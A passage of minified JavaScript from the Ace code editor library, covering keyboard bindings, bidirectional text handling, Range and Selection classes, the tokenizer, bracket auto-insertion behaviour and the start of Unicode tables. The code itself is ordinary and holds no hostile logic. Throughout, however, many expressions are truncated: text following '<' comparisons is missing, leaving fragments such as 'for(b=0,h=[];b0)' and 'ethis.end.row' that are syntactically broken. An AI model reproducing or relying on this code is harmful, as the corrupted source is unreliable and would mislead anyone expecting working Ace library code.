e||e.handleKeyboard||(e.handleKeyboard=e);var i=this.$handlers.indexOf(e);-1!=i&&this.$handlers.splice(i,1),void 0==t?this.$handlers.push(e):this.$handlers.splice(t,0,e),-1==i&&e.attach&&e.attach(this.$editor)}},this.removeKeyboardHandler=function(e){var t=this.$handlers.indexOf(e);return-1!=t&&(this.$handlers.splice(t,1),e.detach&&e.detach(this.$editor),!0)},this.getKeyboardHandler=function(){return this.$handlers[this.$handlers.length-1]},this.getStatusText=function(){var e=this.$data,t=e.editor;return this.$handlers.map((function(i){return i.getStatusText&&i.getStatusText(t,e)||""})).filter(Boolean).join(" ")},this.$callKeyboardHandlers=function(e,t,i,n){for(var o,r=!1,a=this.$editor.commands,l=this.$handlers.length;l--;)if(o=this.$handlers[l].handleKeyboard(this.$data,e,t,i,n),o&&o.command&&(r="null"==o.command||a.exec(o.command,this.$editor,o.args,n),r&&n&&-1!=e&&1!=o.passEvent&&1!=o.command.passEvent&&s.stopEvent(n),r))break;return r||-1!=e||(o={command:"insertstring"},r=a.exec("insertstring",this.$editor,t)),r&&this.$editor._signal&&this.$editor._signal("keyboardActivity",o),r},this.onCommandKey=function(e,t,i){var s=n.keyCodeToString(i);this.$callKeyboardHandlers(t,s,i,e)},this.onTextInput=function(e){this.$callKeyboardHandlers(-1,e)}}).call(o.prototype),t.KeyBinding=o})),ace.define("ace/lib/bidiutil",["require","exports","module"],(function(e,t,i){"use strict";var n=0,s=0,o=!1,r=!1,a=!1,l=[[0,3,0,1,0,0,0],[0,3,0,1,2,2,0],[0,3,0,17,2,0,1],[0,3,5,5,4,1,0],[0,3,21,21,4,0,1],[0,3,5,5,4,2,0]],c=[[2,0,1,1,0,1,0],[2,0,1,1,0,2,0],[2,0,2,1,3,2,0],[2,0,2,33,3,1,1]],h=0,u=1,d=0,g=1,f=2,p=3,m=4,A=5,v=6,C=7,w=8,F=9,b=10,E=11,y=12,$=13,S=14,x=15,B=16,k=17,D=18,L=[D,D,D,D,D,D,D,D,D,v,A,v,w,A,D,D,D,D,D,D,D,D,D,D,D,D,D,D,A,A,A,v,w,m,m,E,E,E,m,m,m,m,m,b,F,b,F,F,f,f,f,f,f,f,f,f,f,f,F,m,m,m,m,m,m,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,m,m,m,m,m,m,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,m,m,m,m,D,D,D,D,D,D,A,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,D,F,m,E,E,E,E,m,m,m,m,d,m,m,D,m,m,E,E,f,f,m,d,m,m,m,f,d,m,m,m,m,m],R=[w,w,w,w,w,w,w,w,w,w,w,D,D,D,d,g,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,w,A,$,S,x,B,k,F,E,E,E,E,E,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,F,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,m,w];function _(e,t,i,h){var u=n?c:l,d=null,g=null,f=null,p=0,m=null,C=null,F=-1,b=null,E=null,y=[];if(!h)for(b=0,h=[];b0)if(16==m){for(b=F;b-1){for(b=F;b=0;$--){if(h[$]!=w)break;t[$]=n}}}function T(e,t,i){if(!(s=e){o=d+1;while(o=e)o++;for(a=d,l=o-1;a=t.length||(l=i[s-1])!=f&&l!=p||(c=t[s+1])!=f&&c!=p?m:(o&&(c=p),c==l?c:m);case b:return l=s>0?i[s-1]:A,l==f&&s+10&&i[s-1]==f)return f;if(o)return m;u=s+1,h=t.length;while(u=1425&&R<=2303||64286==R;if(l=t[u],_&&(l==g||l==C))return g}return s<1||(l=t[s-1])==A?m:i[s-1];case A:return o=!1,r=!0,n;case v:return a=!0,m;case $:case S:case B:case k:case x:o=!1;case D:return m}}function O(e){var t=e.charCodeAt(0),i=t>>8;return 0==i?t>191?d:L[t]:5==i?/[\u0591-\u05f4]/.test(e)?g:d:6==i?/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(e)?y:/[\u0660-\u0669\u066b-\u066c]/.test(e)?p:1642==t?E:/[\u06f0-\u06f9]/.test(e)?f:C:32==i&&t<=8287?R[255&t]:254==i&&t>=65136?C:m}t.L=d,t.R=g,t.EN=f,t.ON_R=3,t.AN=4,t.R_H=5,t.B=6,t.DOT="·",t.doBidiReorder=function(e,i,s){if(e.length<2)return{};var o=e.split(""),r=new Array(o.length),a=new Array(o.length),l=[];n=s?u:h,_(o,l,o.length,i);for(var c=0;cC&&i[c]<$||i[c]===m||i[c]===D)?l[c]=t.ON_R:c>0&&"ل"===o[c-1]&&/\u0622|\u0623|\u0625|\u0627/.test(o[c])&&(l[c-1]=l[c]=t.R_H,c++);o[o.length-1]===t.DOT&&(l[o.length-1]=t.B);for(c=0;c=0&&(e=this.session.$docRowCache[i])}return e},this.getSplitIndex=function(){var e=0,t=this.session.$screenRowCache;if(t.length){var i,n=this.session.$getRowCacheIndex(t,this.currentRow);while(this.currentRow-e>0){if(i=this.session.$getRowCacheIndex(t,this.currentRow-e-1),i!==n)break;n=i,e++}}return e},this.updateRowLine=function(e,t){if(void 0===e&&(e=this.getDocumentRow()),this.wrapIndent=0,this.isLastRow=e===this.session.getLength()-1,this.line=this.session.getLine(e),this.session.$useWrapMode){var i=this.session.$wrapData[e];i&&(void 0===t&&(t=this.getSplitIndex()),t>0&&i.length?(this.wrapIndent=i.indent,this.line=t0?e-1:0,this.bidiMap),i=this.bidiMap.bidiLevels,s=0;0===e&&i[t]%2!==0&&t++;for(var o=0;o=c&&si+r/2){if(i+=r,s===o.length-1){r=0;break}r=this.charWidths[o[++s]]}return s>0&&o[s-1]%2!==0&&o[s]%2===0?(e0&&o[s-1]%2===0&&o[s]%2!==0?t=1+(e>i?this.bidiMap.logicalFromVisual[s]:this.bidiMap.logicalFromVisual[s-1]):this.isRtlDir&&s===o.length-1&&0===r&&o[s-1]%2===0||!this.isRtlDir&&0===s&&o[s]%2!==0?t=1+this.bidiMap.logicalFromVisual[s]:(s>0&&o[s-1]%2!==0&&0!==r&&s--,t=this.bidiMap.logicalFromVisual[s]),t+this.wrapIndent}}).call(a.prototype),t.BidiHandler=a})),ace.define("ace/range",["require","exports","module"],(function(e,t,i){"use strict";var n=function(e,t){return e.row-t.row||e.column-t.column},s=function(e,t,i,n){this.start={row:e,column:t},this.end={row:i,column:n}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return"Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]"},this.contains=function(e,t){return 0==this.compare(e,t)},this.compareRange=function(e){var t,i=e.end,n=e.start;return t=this.compare(i.row,i.column),1==t?(t=this.compare(n.row,n.column),1==t?2:0==t?1:0):-1==t?-2:(t=this.compare(n.row,n.column),-1==t?-1:1==t?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return 0==this.comparePoint(e.start)&&0==this.comparePoint(e.end)},this.intersects=function(e){var t=this.compareRange(e);return-1==t||0==t||1==t},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){"object"==typeof e?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){"object"==typeof e?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return 0==this.compare(e,t)&&(!this.isEnd(e,t)&&!this.isStart(e,t))},this.insideStart=function(e,t){return 0==this.compare(e,t)&&!this.isEnd(e,t)},this.insideEnd=function(e,t){return 0==this.compare(e,t)&&!this.isStart(e,t)},this.compare=function(e,t){return this.isMultiLine()||e!==this.start.row?ethis.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0:tthis.end.column?1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var i={row:t+1,column:0};else if(this.end.rowt)var n={row:t+1,column:0};else if(this.start.rowt.row||e.row==t.row&&e.column>t.column},this.getRange=function(){var e=this.anchor,t=this.lead;return this.isEmpty()?r.fromPoints(t,t):this.isBackwards()?r.fromPoints(t,e):r.fromPoints(e,t)},this.clearSelection=function(){this.$isEmpty||(this.$isEmpty=!0,this._emit("changeSelection"))},this.selectAll=function(){var e=this.doc.getLength()-1;this.setSelectionAnchor(0,0),this.moveCursorTo(e,this.doc.getLine(e).length)},this.setRange=this.setSelectionRange=function(e,t){t?(this.setSelectionAnchor(e.end.row,e.end.column),this.selectTo(e.start.row,e.start.column)):(this.setSelectionAnchor(e.start.row,e.start.column),this.selectTo(e.end.row,e.end.column)),this.getRange().isEmpty()&&(this.$isEmpty=!0),this.$desiredColumn=null},this.$moveSelection=function(e){var t=this.lead;this.$isEmpty&&this.setSelectionAnchor(t.row,t.column),e.call(this)},this.selectTo=function(e,t){this.$moveSelection((function(){this.moveCursorTo(e,t)}))},this.selectToPosition=function(e){this.$moveSelection((function(){this.moveCursorToPosition(e)}))},this.moveTo=function(e,t){this.clearSelection(),this.moveCursorTo(e,t)},this.moveToPosition=function(e){this.clearSelection(),this.moveCursorToPosition(e)},this.selectUp=function(){this.$moveSelection(this.moveCursorUp)},this.selectDown=function(){this.$moveSelection(this.moveCursorDown)},this.selectRight=function(){this.$moveSelection(this.moveCursorRight)},this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)},this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)},this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)},this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)},this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)},this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)},this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)},this.getWordRange=function(e,t){if("undefined"==typeof t){var i=e||this.lead;e=i.row,t=i.column}return this.session.getWordRange(e,t)},this.selectWord=function(){this.setSelectionRange(this.getWordRange())},this.selectAWord=function(){var e=this.getCursor(),t=this.session.getAWordRange(e.row,e.column);this.setSelectionRange(t)},this.getLineRange=function(e,t){var i,n="number"==typeof e?e:this.lead.row,s=this.session.getFoldLine(n);return s?(n=s.start.row,i=s.end.row):i=n,!0===t?new r(n,0,i,this.session.getLine(i).length):new r(n,0,i+1,0)},this.selectLine=function(){this.setSelectionRange(this.getLineRange())},this.moveCursorUp=function(){this.moveCursorBy(-1,0)},this.moveCursorDown=function(){this.moveCursorBy(1,0)},this.wouldMoveIntoSoftTab=function(e,t,i){var n=e.column,s=e.column+t;return i<0&&(n=e.column-t,s=e.column),this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(n,s).split(" ").length-1==t},this.moveCursorLeft=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,-1))this.moveCursorTo(e.start.row,e.start.column);else if(0===t.column)t.row>0&&this.moveCursorTo(t.row-1,this.doc.getLine(t.row-1).length);else{var i=this.session.getTabSize();this.wouldMoveIntoSoftTab(t,i,-1)&&!this.session.getNavigateWithinSoftTabs()?this.moveCursorBy(0,-i):this.moveCursorBy(0,-1)}},this.moveCursorRight=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,1))this.moveCursorTo(e.end.row,e.end.column);else if(this.lead.column==this.doc.getLine(this.lead.row).length)this.lead.row0&&(t.column=n)}}this.moveCursorTo(t.row,t.column)},this.moveCursorFileEnd=function(){var e=this.doc.getLength()-1,t=this.doc.getLine(e).length;this.moveCursorTo(e,t)},this.moveCursorFileStart=function(){this.moveCursorTo(0,0)},this.moveCursorLongWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t);this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;var s=this.session.getFoldAt(e,t,1);if(s)this.moveCursorTo(s.end.row,s.end.column);else{if(this.session.nonTokenRe.exec(n)&&(t+=this.session.nonTokenRe.lastIndex,this.session.nonTokenRe.lastIndex=0,n=i.substring(t)),t>=i.length)return this.moveCursorTo(e,i.length),this.moveCursorRight(),void(e0&&this.moveCursorWordLeft());this.session.tokenRe.exec(o)&&(i-=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0),this.moveCursorTo(t,i)}},this.$shortWordEndIndex=function(e){var t,i=0,n=/\s/,s=this.session.tokenRe;if(s.lastIndex=0,this.session.tokenRe.exec(e))i=this.session.tokenRe.lastIndex;else{while((t=e[i])&&n.test(t))i++;if(i<1){s.lastIndex=0;while((t=e[i])&&!s.test(t))if(s.lastIndex=0,i++,n.test(t)){if(i>2){i--;break}while((t=e[i])&&n.test(t))i++;if(i>2)break}}}return s.lastIndex=0,i},this.moveCursorShortWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t),s=this.session.getFoldAt(e,t,1);if(s)return this.moveCursorTo(s.end.row,s.end.column);if(t==i.length){var o=this.doc.getLength();do{e++,n=this.doc.getLine(e)}while(e0&&/^\s*$/.test(n));i=n.length,/\s+$/.test(n)||(n="")}var o=s.stringReverse(n),r=this.$shortWordEndIndex(o);return this.moveCursorTo(t,i-r)},this.moveCursorWordRight=function(){this.session.$selectLongWords?this.moveCursorLongWordRight():this.moveCursorShortWordRight()},this.moveCursorWordLeft=function(){this.session.$selectLongWords?this.moveCursorLongWordLeft():this.moveCursorShortWordLeft()},this.moveCursorBy=function(e,t){var i,n=this.session.documentToScreenPosition(this.lead.row,this.lead.column);0===t&&(0!==e&&(this.session.$bidiHandler.isBidiRow(n.row,this.lead.row)?(i=this.session.$bidiHandler.getPosLeft(n.column),n.column=Math.round(i/this.session.$bidiHandler.charWidths[0])):i=n.column*this.session.$bidiHandler.charWidths[0]),this.$desiredColumn?n.column=this.$desiredColumn:this.$desiredColumn=n.column);var s=this.session.screenToDocumentPosition(n.row+e,n.column,i);0!==e&&0===t&&s.row===this.lead.row&&s.column===this.lead.column&&this.session.lineWidgets&&this.session.lineWidgets[s.row]&&(s.row>0||e>0)&&s.row++,this.moveCursorTo(s.row,s.column+t,0===t)},this.moveCursorToPosition=function(e){this.moveCursorTo(e.row,e.column)},this.moveCursorTo=function(e,t,i){var n=this.session.getFoldAt(e,t,1);n&&(e=n.start.row,t=n.start.column),this.$keepDesiredColumnOnChange=!0;var s=this.session.getLine(e);/[\uDC00-\uDFFF]/.test(s.charAt(t))&&s.charAt(t-1)&&(this.lead.row==e&&this.lead.column==t+1?t-=1:t+=1),this.lead.setPosition(e,t),this.$keepDesiredColumnOnChange=!1,i||(this.$desiredColumn=null)},this.moveCursorToScreen=function(e,t,i){var n=this.session.screenToDocumentPosition(e,t);this.moveCursorTo(n.row,n.column,i)},this.detach=function(){this.lead.detach(),this.anchor.detach(),this.session=this.doc=null},this.fromOrientedRange=function(e){this.setSelectionRange(e,e.cursor==e.start),this.$desiredColumn=e.desiredColumn||this.$desiredColumn},this.toOrientedRange=function(e){var t=this.getRange();return e?(e.start.column=t.start.column,e.start.row=t.start.row,e.end.column=t.end.column,e.end.row=t.end.row):e=t,e.cursor=this.isBackwards()?e.start:e.end,e.desiredColumn=this.$desiredColumn,e},this.getRangeOfMovements=function(e){var t=this.getCursor();try{e(this);var i=this.getCursor();return r.fromPoints(t,i)}catch(n){return r.fromPoints(t,t)}finally{this.moveCursorToPosition(t)}},this.toJSON=function(){if(this.rangeCount)var e=this.ranges.map((function(e){var t=e.clone();return t.isBackwards=e.cursor==e.start,t}));else{e=this.getRange();e.isBackwards=this.isBackwards()}return e},this.fromJSON=function(e){if(void 0==e.start){if(this.rangeList){this.toSingleRange(e[0]);for(var t=e.length;t--;){var i=r.fromPoints(e[t].start,e[t].end);e[t].isBackwards&&(i.cursor=i.start),this.addRange(i,!0)}return}e=e[0]}this.rangeList&&this.toSingleRange(e),this.setSelectionRange(e,e.isBackwards)},this.isEqual=function(e){if((e.length||this.rangeCount)&&e.length!=this.rangeCount)return!1;if(!e.length||!this.ranges)return this.getRange().isEqual(e);for(var t=this.ranges.length;t--;)if(!this.ranges[t].isEqual(e[t]))return!1;return!0}}).call(a.prototype),t.Selection=a})),ace.define("ace/tokenizer",["require","exports","module","ace/config"],(function(e,t,i){"use strict";var n=e("./config"),s=2e3,o=function(e){for(var t in this.states=e,this.regExps={},this.matchMappings={},this.states){for(var i=this.states[t],n=[],s=0,o=this.matchMappings[t]={defaultToken:"text"},r="g",a=[],l=0;l1?this.$applyToken:c.token),u>1&&(/\\\d/.test(c.regex)?h=c.regex.replace(/\\([0-9]+)/g,(function(e,t){return"\\"+(parseInt(t,10)+s+1)})):(u=1,h=this.removeCapturingGroups(c.regex)),c.splitRegex||"string"==typeof c.token||a.push(c)),o[s]=l,s+=u,n.push(h),c.onMatch||(c.onMatch=null)}}n.length||(o[0]=0,n.push("$")),a.forEach((function(e){e.splitRegex=this.createSplitterRegexp(e.regex,r)}),this),this.regExps[t]=new RegExp("("+n.join(")|(")+")|($)",r)}};(function(){this.$setMaxTokenCount=function(e){s=0|e},this.$applyToken=function(e){var t=this.splitRegex.exec(e).slice(1),i=this.token.apply(this,t);if("string"===typeof i)return[{type:i,value:e}];for(var n=[],s=0,o=i.length;sh){var A=e.substring(h,m-p.length);d.type==g?d.value+=A:(d.type&&c.push(d),d={type:g,value:A})}for(var v=0;vs){u>2*e.length&&this.reportError("infinite loop with in ace tokenizer",{startState:t,line:e});while(h1&&i[0]!==n&&i.unshift("#tmp",n),{tokens:c,state:i.length?i:n}},this.reportError=n.reportError}).call(o.prototype),t.Tokenizer=o})),ace.define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=function(){this.$rules={start:[{token:"empty_line",regex:"^$"},{defaultToken:"text"}]}};(function(){this.addRules=function(e,t){if(t)for(var i in e){for(var n=e[i],s=0;s=this.$rowTokens.length){if(this.$row+=1,e||(e=this.$session.getLength()),this.$row>=e)return this.$row=e-1,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]},this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]},this.getCurrentTokenRow=function(){return this.$row},this.getCurrentTokenColumn=function(){var e=this.$rowTokens,t=this.$tokenIndex,i=e[t].start;if(void 0!==i)return i;i=0;while(t>0)t-=1,i+=e[t].value.length;return i},this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}},this.getCurrentTokenRange=function(){var e=this.$rowTokens[this.$tokenIndex],t=this.getCurrentTokenColumn();return new n(this.$row,t,this.$row,t+e.value.length)}}).call(s.prototype),t.TokenIterator=s})),ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],(function(e,t,i){"use strict";var n,s=e("../../lib/oop"),o=e("../behaviour").Behaviour,r=e("../../token_iterator").TokenIterator,a=e("../../lib/lang"),l=["text","paren.rparen","punctuation.operator"],c=["text","paren.rparen","punctuation.operator","comment"],h={},u={'"':'"',"'":"'"},d=function(e){var t=-1;if(e.multiSelect&&(t=e.selection.index,h.rangeCount!=e.multiSelect.rangeCount&&(h={rangeCount:e.multiSelect.rangeCount})),h[t])return n=h[t];n=h[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}},g=function(e,t,i,n){var s=e.end.row-e.start.row;return{text:i+t+n,selection:[0,e.start.column+1,s,e.end.column+(s?0:1)]}},f=function(e){this.add("braces","insertion",(function(t,i,s,o,r){var l=s.getCursorPosition(),c=o.doc.getLine(l.row);if("{"==r){d(s);var h=s.getSelectionRange(),u=o.doc.getTextRange(h);if(""!==u&&"{"!==u&&s.getWrapBehavioursEnabled())return g(h,u,"{","}");if(f.isSaneInsertion(s,o))return/[\]\}\)]/.test(c[l.column])||s.inMultiSelectMode||e&&e.braces?(f.recordAutoInsert(s,o,"}"),{text:"{}",selection:[1,1]}):(f.recordMaybeInsert(s,o,"{"),{text:"{",selection:[1,1]})}else if("}"==r){d(s);var p=c.substring(l.column,l.column+1);if("}"==p){var m=o.$findOpeningBracket("}",{column:l.column+1,row:l.row});if(null!==m&&f.isAutoInsertedClosing(l,c,r))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}else{if("\n"==r||"\r\n"==r){d(s);var A="";f.isMaybeInsertedClosing(l,c)&&(A=a.stringRepeat("}",n.maybeInsertedBrackets),f.clearMaybeInsertedClosing());p=c.substring(l.column,l.column+1);if("}"===p){var v=o.findMatchingBracket({row:l.row,column:l.column+1},"}");if(!v)return null;var C=this.$getIndent(o.getLine(v.row))}else{if(!A)return void f.clearMaybeInsertedClosing();C=this.$getIndent(c)}var w=C+o.getTabString();return{text:"\n"+w+"\n"+C+A,selection:[1,w.length,1,w.length]}}f.clearMaybeInsertedClosing()}})),this.add("braces","deletion",(function(e,t,i,s,o){var r=s.doc.getTextRange(o);if(!o.isMultiLine()&&"{"==r){d(i);var a=s.doc.getLine(o.start.row),l=a.substring(o.end.column,o.end.column+1);if("}"==l)return o.end.column++,o;n.maybeInsertedBrackets--}})),this.add("parens","insertion",(function(e,t,i,n,s){if("("==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"(",")");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,")"),{text:"()",selection:[1,1]}}else if(")"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row),c=l.substring(a.column,a.column+1);if(")"==c){var h=n.$findOpeningBracket(")",{column:a.column+1,row:a.row});if(null!==h&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}})),this.add("parens","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"("==o){d(i);var r=n.doc.getLine(s.start.row),a=r.substring(s.start.column+1,s.start.column+2);if(")"==a)return s.end.column++,s}})),this.add("brackets","insertion",(function(e,t,i,n,s){if("["==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"[","]");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,"]"),{text:"[]",selection:[1,1]}}else if("]"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row),c=l.substring(a.column,a.column+1);if("]"==c){var h=n.$findOpeningBracket("]",{column:a.column+1,row:a.row});if(null!==h&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}})),this.add("brackets","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"["==o){d(i);var r=n.doc.getLine(s.start.row),a=r.substring(s.start.column+1,s.start.column+2);if("]"==a)return s.end.column++,s}})),this.add("string_dquotes","insertion",(function(e,t,i,n,s){var o=n.$mode.$quotes||u;if(1==s.length&&o[s]){if(this.lineCommentStart&&-1!=this.lineCommentStart.indexOf(s))return;d(i);var r=s,a=i.getSelectionRange(),l=n.doc.getTextRange(a);if(!(""===l||1==l.length&&o[l])&&i.getWrapBehavioursEnabled())return g(a,l,r,r);if(!l){var c=i.getCursorPosition(),h=n.doc.getLine(c.row),f=h.substring(c.column-1,c.column),p=h.substring(c.column,c.column+1),m=n.getTokenAt(c.row,c.column),A=n.getTokenAt(c.row,c.column+1);if("\\"==f&&m&&/escape/.test(m.type))return null;var v,C=m&&/string|escape/.test(m.type),w=!A||/string|escape/.test(A.type);if(p==r)v=C!==w,v&&/string\.end/.test(A.type)&&(v=!1);else{if(C&&!w)return null;if(C&&w)return null;var F=n.$mode.tokenRe;F.lastIndex=0;var b=F.test(f);F.lastIndex=0;var E=F.test(f);if(b||E)return null;if(p&&!/[\s;,.})\]\\]/.test(p))return null;v=!0}return{text:v?r+r:"",selection:[1,1]}}}})),this.add("string_dquotes","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&('"'==o||"'"==o)){d(i);var r=n.doc.getLine(s.start.row),a=r.substring(s.start.column+1,s.start.column+2);if(a==o)return s.end.column++,s}}))};f.isSaneInsertion=function(e,t){var i=e.getCursorPosition(),n=new r(t,i.row,i.column);if(!this.$matchTokenType(n.getCurrentToken()||"text",l)){var s=new r(t,i.row,i.column+1);if(!this.$matchTokenType(s.getCurrentToken()||"text",l))return!1}return n.stepForward(),n.getCurrentTokenRow()!==i.row||this.$matchTokenType(n.getCurrentToken()||"text",c)},f.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},f.recordAutoInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isAutoInsertedClosing(s,o,n.autoInsertedLineEnd[0])||(n.autoInsertedBrackets=0),n.autoInsertedRow=s.row,n.autoInsertedLineEnd=i+o.substr(s.column),n.autoInsertedBrackets++},f.recordMaybeInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isMaybeInsertedClosing(s,o)||(n.maybeInsertedBrackets=0),n.maybeInsertedRow=s.row,n.maybeInsertedLineStart=o.substr(0,s.column)+i,n.maybeInsertedLineEnd=o.substr(s.column),n.maybeInsertedBrackets++},f.isAutoInsertedClosing=function(e,t,i){return n.autoInsertedBrackets>0&&e.row===n.autoInsertedRow&&i===n.autoInsertedLineEnd[0]&&t.substr(e.column)===n.autoInsertedLineEnd},f.isMaybeInsertedClosing=function(e,t){return n.maybeInsertedBrackets>0&&e.row===n.maybeInsertedRow&&t.substr(e.column)===n.maybeInsertedLineEnd&&t.substr(0,e.column)==n.maybeInsertedLineStart},f.popAutoInsertedClosing=function(){n.autoInsertedLineEnd=n.autoInsertedLineEnd.substr(1),n.autoInsertedBrackets--},f.clearMaybeInsertedClosing=function(){n&&(n.maybeInsertedBrackets=0,n.maybeInsertedRow=-1)},s.inherits(f,o),t.CstyleBehaviour=f})),ace.define("ace/unicode",["require","exports","module"],(function(e,t,i){"use strict";function n(e){var i=/\w{4}/g;for(var n in e)t.packages[n]=e[n].replace(i,"\\u$&")}t.packages={},n({L:"0041-005A0061-007A00AA00B500BA00C0-00D600D8-00F600F8-02C102C6-02D102E0-02E402EC02EE0370-037403760377037A-037D03860388-038A038C038E-03A103A3-03F503F7-0481048A-05250531-055605590561-058705D0-05EA05F0-05F20621-064A066E066F0671-06D306D506E506E606EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA07F407F507FA0800-0815081A082408280904-0939093D09500958-0961097109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E460E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EC60EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10A0-10C510D0-10FA10FC1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317D717DC1820-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541AA71B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C7D1CE9-1CEC1CEE-1CF11D00-1DBF1E00-1F151F18-1F1D1F20-1F451F48-1F4D1F50-1F571F591F5B1F5D1F5F-1F7D1F80-1FB41FB6-1FBC1FBE1FC2-1FC41FC6-1FCC1FD0-1FD31FD6-1FDB1FE0-1FEC1FF2-1FF41FF6-1FFC2071207F2090-209421022107210A-211321152119-211D212421262128212A-212D212F-2139213C-213F2145-2149214E218321842C00-2C2E2C30-2C5E2C60-2CE42CEB-2CEE2D00-2D252D30-2D652D6F2D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE2E2F300530063031-3035303B303C3041-3096309D-309F30A1-30FA30FC-30FF3105-312D3131-31